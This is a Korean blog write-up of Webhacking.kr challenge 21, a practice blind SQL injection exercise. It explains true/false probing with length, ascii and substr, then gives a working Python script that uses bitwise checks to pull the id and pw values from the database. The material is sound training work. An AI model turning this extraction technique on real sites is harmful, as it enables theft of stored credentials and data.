보안 공부하는 꼬깔이

Webhacking.kr 21번 문제 풀이

 

 

 

 

21번 문제에 접속화면 위와 같은 화면을 확인할 수 있다.

 

BLIND SQL INJECTION 문제라고 대놓고 이야기해준다.

 

TIP.Blind SQL Injection?

- SQL 질의에 공격 구문을 삽입하여 서버 사이드측에 영향을 주었을 경우 해당 질의가 거짓일 경우의 반응과 참일 경우의 반응을 

파악해 공격을 하는 기법

 

메인 화면의 Blind SQL injection 문제라는걸 알려주는것 이외에 힌트는 없는것 같다.

 

본격적으로 문제 공략에 들어가도록 하자.

 

우선 참일경우의 서버 반응을 알아보기 위해 임의의 값을 입력해보자.

 

 

메인화면의 폼은 no 변수이며 GET방식으로 값을 전달한다. 그리고 1~2의 값을 입력하게 되면 Result 에 True 라고 출력되며, 그 이외의 수를 입력시 False 가 출력된다. 이를 통해 우리는 no 컬럼에 값은 1,2 가 존재하며 해당 서버는 참일 경우 True 를 출력하고 거짓일 경우 False를 출력한다는 것을 알게 되었다.

 

위 화면의 url을 확인하면 no 이외에 id와 pw 값을 GET방식으로 입력 받는다. 그렇다는 것은 해당 문제 DB에는 id 와 pw 컬럼이 존재 하며 no 컬럼의 값으로 1,2 가 존재하는것을 보아 2개의 계정이 존재한다는 것을 알 수 있다.

 

no    id     pw

 1     ?       ?

 2     ?       ? 

아마 이런 형태의 테이블구조를 이루고 있을것이다.

 

먼저 id의 길이를 출력시켜보자.

 

 

길이를 구하는 함수 length 를 이용해 no =1의 id 길이를 구했다. no=2 도 동일하게 5에서 True 가 출력되었다.

 

no    id       pw 

 1   5글자     ?

 2   5글자     ?

 

각 no의 id 길이는 알아냈으니 이제 어떤 문자가 존재하는지 알아보자.

 

 

ascii 와 substr 함수를 사용하여 id의 첫번째 글자를 찾아냈다.

 

ascii는 아스키코드를 참조하여 인자에 접근하는 함수이며, 위 사진의 페이로드에서 103은 아스키코드상에서 g를 의미한다.

 

substr은 글자를 잘라서 출력할 수 있는데 위 사진의 페이로드상으로 id 컬럼의 결과값에서 첫번째 글자를 출력하는 구문이다.

 

substr(id,2,1) 을 입력하면 2번째 글자를 출력, 3,1은 3번째 글자 이런식으로 값을 하나하나 5자리 찾을 수 있다.

 

결론은 no=1의 id 첫글자는 "g" 라는 것이다. 

 

하지만 이렇게 아스키코드 표의 십진수를 참조하면 id의 각자리마다 A(81) ~ z(122) 까지 총 41번을 반복해야 하는데 이것은 매우 비효율적이다.

 

그러므로 우리는 비트연산을 이용해 id의 값을 뽑아내보자.

 

 

비트연산이란 위 그림을 참조하면 "g"의 아스키코드 비트를 1,2,4,8,16,32,64 총 7번 체크하고 해당 비트에 대한 결과가 참이면 1을 거짓이면 0 을 출력한다. 이렇게 참인 값들은 전부 더하면 "1+2+4+32+64 = 103" 즉, 아스키표로 g를 의미하는 결과가 나온다.

 

비트연산을 사용하면 이렇게 41번을 반복해야할 공격을 7번으로 줄여준다. 하지만 총 5글자의 id를, 각자리마다 7번씩 5번 반복하는것 역시 여전히 비효율적이다.

 

그러므로 파이썬을 이용해 비트연산코드를 작성후 실행시켜보자.

 

#-*- coding:utf-8 -*-
import urllib2

count=1
to_find="True</b>"
var=20

def attack(count,bit):

url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=-1+or+no%%3D1+and+ascii%%28substr%%28id%%2C%d%%2C1%%29%%29%%26%d%%3D%d&id=&pw=" % (count,bit,bit)
req = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0'})
req.add_header("Cookie", "PHPSESSID=(webhacking.kr쿠키입력)")
read = urllib2.urlopen(req).read()
return read

length=5
print "id : ",
while 1:
if count == length + 1:
exit(0)

bit=pow(2,7)
count_false=0
str_num=0
while bit>=1:
result=attack(count,bit)
if to_find in result:
str_num += bit
else:
count_false +=1
bit /=2
if count_false >= 7:
exit(0)
print unichr(str_num),

count +=1

해당 코드를 출력시켜보자 #코드에 대한 해석이 필요하면 덧글로 물어보자!

 

 

no=1의 5자리인 id 값이 출력되었다. 같은 소스를 no=1 부분을 no=2로 수정후 출력하면 no=2의 id 값역시 출력된다.

 

no       id       pw

 1     5자리id    ?

 2     5자리id    ?

 

현재까지 알아낸 사항

 

이제 length 함수를 이용해 no=1 과 no=2의 pw 길이를 알아보자.

 

 

no=1 의 pw 길이는 5

 

no=2 의 pw 길이는 19

 

no       id        pw

 1    5자리id  5자리

 2    5자리id  19자리

 

 

길이를 구했다면 위의 비트연산 파이썬 코드를 사용하면 pw 값을 출력하는것은 식은 죽 마시기다.

 

 

no=1의 pw결과 값 출력

 

 

no=2의 pw결과 값 출력

 

no       id          pw

 1     5자리id    5자리pw

 2     5자리id    19자리pw

 

이렇게 테이블을 완성했다.

 

도출된 pw값중 하나를 auth에 입력하면 문제가 풀린다!

 

250 Point Get :D

 

 

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 24번 문제 풀이  (0) 2017.07.10
Webhacking.kr 23번 문제 풀이  (0) 2017.07.10
Webhacking.kr 20번 문제 풀이  (0) 2017.07.07
Webhacking.kr 18번 문제 풀이  (0) 2017.07.06
Webhacking.kr 17번 문제 풀이  (0) 2017.07.06